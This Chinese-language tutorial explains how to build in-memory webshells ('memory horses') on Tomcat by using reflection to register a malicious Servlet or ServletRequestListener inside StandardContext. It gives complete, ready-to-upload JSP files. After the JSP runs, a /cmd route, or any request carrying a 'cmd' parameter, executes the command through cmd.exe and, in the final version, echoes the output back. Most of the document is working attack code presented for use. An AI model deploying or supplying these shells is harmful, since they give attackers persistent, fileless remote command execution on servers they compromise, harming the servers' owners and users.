Servlet内存马
Servlet内存马通过动态注册恶意Servlet组件,能够使攻击者在访问特定路由时去调用恶意的Servlet进而执行恶意逻辑
逆向Servlet注册
Servlet添加逻辑在ContextConfig类中的configureContext()方法中体现,该方法用于读取web.xml配置文件并进行相应配置,其中Servlet相关配置在如下进行

该段代码没有体现的是Wrapper的setServlet()方法,该方法传递一个Servlet实例,程序如果检测到Servlet为空会利用setClass()中的全限定名参数去实例化,而我们动态注册是不依赖于web.xml配置文件的,所以最后我们要手动调用setServlet()传递一个实例
Wrapper可以视作Servlet的包装,包含了我们的Servlet对象以及其他部分,最后该方法通过
this.context.addChild(wrapper);
|
将Servlet放入了容器中。this.context是StandardContext对象,里面包含了各种核心配置。此外,context还需要获取访问该Servlet的路由映射,这部分通过以下代码体现
for(Map.Entry<String, String> entry : webxml.getServletMappings().entrySet()) { this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue()); }
|
所以在把我们的恶意Servlet注入容器后,还需要调用addServletMappingDecoded()方法规定路由映射
构造Servlet内存马
构造恶意Servlet
public static class CmdServlet extends HttpServlet { @Override public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } res.setContentType("text/html;charset=UTF-8"); res.getWriter().println(output); } } }
|
首先从request对象获取ServletContext,再从ServletContext获取ApplicationContext,最后从ApplicationContext获取StandardContext
ServletContext servletContext = request.getServletContext(); Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
|
将恶意Servlet包装并传入trueStandardContext中
Wrapper wrapper = trueStandardContext.createWrapper(); wrapper.setName("CmdServlet"); wrapper.setServletClass(CmdServlet.class.getName()); wrapper.setServlet(new CmdServlet());
trueStandardContext.addChild(wrapper); trueStandardContext.addServletMappingDecoded("/cmd","CmdServlet");
response.getWriter().println("success");
|
完整的jsp内存马
<%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%! public static class CmdServlet extends HttpServlet { @Override public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } res.setContentType("text/html;charset=UTF-8"); res.getWriter().println(output); } } } %> <% try{ ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
Wrapper wrapper = trueStandardContext.createWrapper(); wrapper.setName("CmdServlet"); wrapper.setServletClass(CmdServlet.class.getName()); wrapper.setServlet(new CmdServlet());
trueStandardContext.addChild(wrapper); trueStandardContext.addServletMappingDecoded("/cmd","CmdServlet");
response.getWriter().println("success"); }catch (Exception e){ e.printStackTrace(); } %>
|
上传成功后,访问jsp文件,之后访问/cmd路由即可通过cmd参数进行RCE

Listener内存马
类似的,Listener也是通过动态注册监听器进行恶意命令的执行
Listener监听器
Listener是JavaEE的一种规范接口,当某些事件发生时监听器被执行
| 监听器类型 |
功能介绍 |
| ServletRequestListener |
监听request作用域的创建和销毁 |
| ServletRequestAttributeListener |
监听request作用域的属性状态变化 |
| HttpSessionListener |
监听session作用域的创建和销毁 |
| HttpSessionAttributeListener |
监听session作用域的属性状态变化 |
| ServletContextListener |
监听application作用域的创建和销毁 |
| ServletContextAttributeListener |
监听application作用域的属性状态变化 |
| HttpSessionBindingListener |
监听对象与session的绑定和解除 |
| HttpSessionActivationListener |
监听session数值的钝化和活化 |
其中,ServletRequestListener在request作用域的创建和销毁时都会被触发,即每次请求都会触发
通过实现ServletRequestListener接口并重写requestInitialized()编写Listener
public class Listener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } ServletRequestListener.super.requestInitialized(sre); } }
|
逆向Listener注册
StandardContext类中的fireRequestInitEvent()方法调用了listener,listener由上方的instance而来,instance又是从instances数组遍历而来的,instances数组通过this.getApplicationEventListeners()获取

getApplicationEventListeners()返回了StandardContext中的applicationEventListenersList字段
public Object[] getApplicationEventListeners() { return this.applicationEventListenersList.toArray(); }
|
很明显,通过修改applicationEventListenersList字段使其包含我们的恶意Listener即可,其中addApplicationEventListener()方法可以帮助我们插入恶意监听器
public void addApplicationEventListener(Object listener) { this.applicationEventListenersList.add(listener); }
|
构建Listener内存马
构造恶意Listener
public class Listener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } ServletRequestListener.super.requestInitialized(sre); } }
|
获取StandardContext,注入恶意监听器
ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
trueStandardContext.addApplicationEventListener(new Listener());
|
完整的jsp内存马文件
<%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%! public class Listener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } ServletRequestListener.super.requestInitialized(sre); } } %> <% try{ ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
trueStandardContext.addApplicationEventListener(new Listener()); response.getWriter().println("success"); }catch (Exception e){ e.printStackTrace(); } %>
|
访问jsp文件后任意页面传入cmd参数即可触发
Listener内存马回显
在Listener的requestInitialized()方法中,我们能调用的就只有一个ServletRequestEvent对象,该对象下持有一个request对象,故我们可以很方便地获取Request实例

但是要让页面回显需要获取Response对象,而Request对象内部持有Response对象的引用

通过反射可以获取它
Class<?> sreClass = sre.getClass(); Field requestFacadeField = sreClass.getDeclaredField("request"); requestFacadeField.setAccessible(true); RequestFacade requestFacade = (RequestFacade) requestFacadeField.get(sre); Class<?> requestFacadeClass = requestFacade.getClass(); Field requestField = requestFacadeClass.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Class<?> requestClass = request.getClass(); Field responseField = requestClass.getDeclaredField("response"); responseField.setAccessible(true); Response response = (Response) responseField.get(request);
|
完整的jsp内存马文件
<%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%! public class Listener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd");
try { Class<?> sreClass = sre.getClass(); Field requestFacadeField = sreClass.getDeclaredField("request"); requestFacadeField.setAccessible(true); RequestFacade requestFacade = (RequestFacade) requestFacadeField.get(sre); Class<?> requestFacadeClass = requestFacade.getClass(); Field requestField = requestFacadeClass.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Class<?> requestClass = request.getClass(); Field responseField = requestClass.getDeclaredField("response"); responseField.setAccessible(true); Response response = (Response) responseField.get(request);
if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(output); } ServletRequestListener.super.requestInitialized(sre); }catch(Exception e){ e.printStackTrace(); } } } %> <% try{ ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
trueStandardContext.addApplicationEventListener(new Listener()); response.getWriter().println("success"); }catch (Exception e){ e.printStackTrace(); } %>
|
测试可以发现命令结果直接打印在了现有页面上
